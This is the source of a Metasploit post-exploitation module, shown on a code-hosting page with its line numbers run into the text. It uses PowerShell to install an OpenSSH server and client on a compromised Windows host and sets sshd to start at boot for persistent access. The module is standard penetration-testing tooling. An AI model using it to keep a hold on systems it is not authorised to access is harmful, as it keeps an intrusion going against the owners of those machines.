Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/install_ssh.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::File8include Msf::Post::Windows::Powershell910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Install OpenSSH for Windows',15'Description' => %q{16This module installs OpenSSH server and client for Windows using PowerShell.17SSH on Windows can provide pentesters persistent access to a secure interactive terminal, interactive filesystem access, and port forwarding over SSH.18},19'License' => MSF_LICENSE,20'Author' => ['Michael Long <bluesentinel[at]protonmail.com>'],21'Arch' => [ARCH_X86, ARCH_X64],22'Platform' => [ 'win' ],23'SessionTypes' => [ 'meterpreter', 'shell' ],24'References' => [25['URL', 'https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview'],26['URL', 'https://github.com/PowerShell/openssh-portable']27]28)29)30register_options(31[32OptBool.new('INSTALL_SERVER', [true, 'Install OpenSSH.Server for Windows', true]),33OptBool.new('INSTALL_CLIENT', [true, 'Install OpenSSH.Client for Windows', true]),34OptBool.new('UNINSTALL_SERVER', [true, 'Uninstall OpenSSH.Server for Windows', false]),35OptBool.new('UNINSTALL_CLIENT', [true, 'Uninstall OpenSSH.Client for Windows', false]),36OptString.new('SERVER_VER', [true, 'OpenSSH.Server version', 'OpenSSH.Server~~~~0.0.1.0']),37OptString.new('CLIENT_VER', [true, 'OpenSSH.Client version', 'OpenSSH.Client~~~~0.0.1.0']),38OptBool.new('AUTOSTART', [true, 'Sets sshd service to startup automatically at system boot for persistence', true])39]40)41end4243def run44# check admin privileges45unless is_system? || is_admin?46fail_with(Failure::NotVulnerable, 'Insufficient privileges to install or remove OpenSSH')47end4849# check if PowerShell is available50psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'51if !file? "%WINDIR%\\System32#{psh_path}"52fail_with(Failure::NotVulnerable, 'No powershell available.')53end5455# uninstall OpenSSH.Server56if datastore['UNINSTALL_SERVER']57print_status('Uninstalling OpenSSH.Server')58uninstall_ssh_server59end6061# unintall OpenSSH.Client62if datastore['UNINSTALL_CLIENT']63print_status('Uninstalling OpenSSH.Client')64uninstall_ssh_client65end6667# install OpenSSH.Server68if datastore['INSTALL_SERVER']69print_status('Installing OpenSSH.Server')70install_ssh_server71end7273# install OpenSSH.Client74if datastore['INSTALL_CLIENT']75print_status('Installing OpenSSH.Client')76install_ssh_client77end78end7980def install_ssh_server81script = "Add-WindowsCapability -Online -Name #{datastore['SERVER_VER']}; "82script << 'Start-Service sshd; '83if datastore['AUTOSTART']84script << "Set-Service -Name sshd -StartupType 'Automatic'"85end86psh_exec(script)87end8889def install_ssh_client90script = "Add-WindowsCapability -Online -Name #{datastore['CLIENT_VER']}; "91psh_exec(script)92end9394def uninstall_ssh_server95script = 'Stop-Service sshd; '96script << "Remove-WindowsCapability -Online -Name #{datastore['SERVER_VER']}"97psh_exec(script)98end99100def uninstall_ssh_client101script = "Remove-WindowsCapability -Online -Name #{datastore['CLIENT_VER']}"102psh_exec(script)103end104end105106107